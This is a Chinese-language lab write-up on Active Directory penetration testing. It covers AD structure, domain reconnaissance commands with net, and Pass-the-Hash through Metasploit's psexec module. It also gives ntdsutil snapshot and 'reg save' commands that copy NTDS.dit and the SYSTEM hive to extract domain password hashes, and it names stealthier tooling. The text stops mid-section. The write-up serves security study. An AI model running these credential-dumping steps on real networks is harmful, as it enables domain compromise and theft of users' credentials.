AD的全称是Active Directory(活动目录) 是指windows服务器操作系统中的目录服务,它被包含在大多数windows
sever操作系统中,负责集中式域管理及身份认证。AD域中是每个Windows域网络的基石。他负责存储域成员(包括设备和用户)的信息,验证其凭据并定义访问权限。运行此服务的服务器称为域控制器。AD域架构的常用对象包括以下四种
1.组织单位(ou):它是可以组策略设置或委派管理权限的最小作用单位
2.域(Domain):它是网路对象用户,组,计算机等的分组。域中的所有对象都存储在AD中,AD由一个或多个域构成。域是windows操作系统中的一个安全边界,安全策略和访问控制都不能跨越不同的域,每个域管理员有权限设置所属域的策略。
3.域树(domain tree):它由多个域构成,这些域共享公共的架构,配置和全局编录能力,形成一个连续的名称空间,域之间的通信通过信任关系(若域间没有信任关系,则无法传递信息)。域树中的任何两个域之间都是双向可传递的信任关系。
4.林(forest):林由一个或多个域树组成,同一林中的域可以共享同类的架构,战点,复制及全局编录能力。在新林中创建的第一个域是该林的根域,林范围的管理组都位于该域。在两个不同的林间建立信任关系(信任只能创建于根域),可以使得这两个林内的所有域都具有信任关系。
实验开始前需要自己搭建一个域环境,这里是参照这个链接搭建的
https://www.cnblogs.com/XiaoZhou-cn/p/11364226.html
获取的信息越多,后续横向移动提供的支持就越多。攻击者只要获得了一个额windows域用户的凭据,就可以利用这个凭据进行域环境的信息收集。
常用命令
判断当前计算机是否在域中
net config workstation
net time /domain
net view \\Server.com
(这里填域环境搭建时的域名,如果出错可能是因为服务没开,在网络设置里开启即可)
查询本地域用户管理员列表
net localgroup administrators
net group /domain
net group "Domain Users" /domain
查询域管理组用户列表
net group "domain admins" /domain
net user /domain
net user toy /domain
net group "domain computers" /domain
net group "Domain Controllers" /domain
net accounts /domain
这些都是最基础,常用的命令,只能获得基本信息,且不支持模糊查询。获取更详细信息可配合使用其他工具,如Dsquery/Dsget,Csvde,ADExplorer和AdFind等
Pass-the-Hash是一种攻击者用来冒充用户的身份窃取技术,如果获得了有效的用户名和用户密码hash值,且远程服务器或服务支持LM或NTLM身份验证,则可通过这两个数据登录到目标主机
windows操作系统中,系统或服务需要身份认证时,通常用NTLM协议,用户密码并不以明文方式进行传输,而是采用挑战(challenge)/响应(response)验证机制。在进行身份认证前,本地Windows应用程序获取到输入的明文密码,调用LsaLogonUser等API,将该密码转换为一个或两个哈希值(LM Hash或NT Hash),进行NTLM身份验证时,将Hash值发送到远端服务器认证,此认证过程并不需要明文密码。
这里使用Metasploit中的exploit/windows/smb/psexec进行演示,这个模块允许在目标机上远程代码执行,成功后返回一个Meterpreter的shell
一般情况下是能直接获取到192.168.100.100计算机的权限的,这里报了一个ruby_smb的错误,花了很长时间也没能解决
NTDS.dit文件是AD的数据库,等同于本地计算机中的SAM文件,它的存放位置为%SystemRoot%\ntds\。。NTDS.dit 包含不限于用户名、散列值、组、GPP、OU等活动目录的信息。在渗透测试过程中,只要控制了域控制器,就可以对它进行备份,通过NTDS.dit文件可以获取NT Hash和LM Hash,然后破译得明文密码。
这里选择用Ntdsutil.exe工具来备份NTDS.dit文件。此工具为域自带的提供管理设施功能的命令行工具,需要管理员权限。适用于Windows2008及更高操作版本。
基础命令
具体执行命令
ntdsutil snapshot "activate instance ntds" create quit quit
ntdsutil snapshot "mount {GUID}" quit quit
copy MOUNT_POINT\windows\NTDS\ntds.dit c:\ntds.dit
ntdsutil snapshot "unmount GUID" quit quit
ntdsutil snapshot "delete GUID" quit quit
通过命令查看
离线获取hash除了需要NTDS.dit之外,还需要用到system.hive文件
保存命令
reg save hklm\system system.hive
获取域控ntds.dit文件除了用ntdsutil,还可以用vssadmin,vshadow.exe,vssown.vbs或NinJaCopy等工具
1.QuarkPwDump
QuarkPwDump是Quarkslab出品的一款用户凭据开源工具,支持Windows XP/2003/7/2008等版本操作系统,且相当稳定,它可提取Windows平台下多种类型的用户凭据,包括本地账户,域账户,缓存账户和Bitlocker等。
点击下载
为了渗透测试隐蔽性,这里使用修改过的离线版本。
它目前可以导出 :
基本命令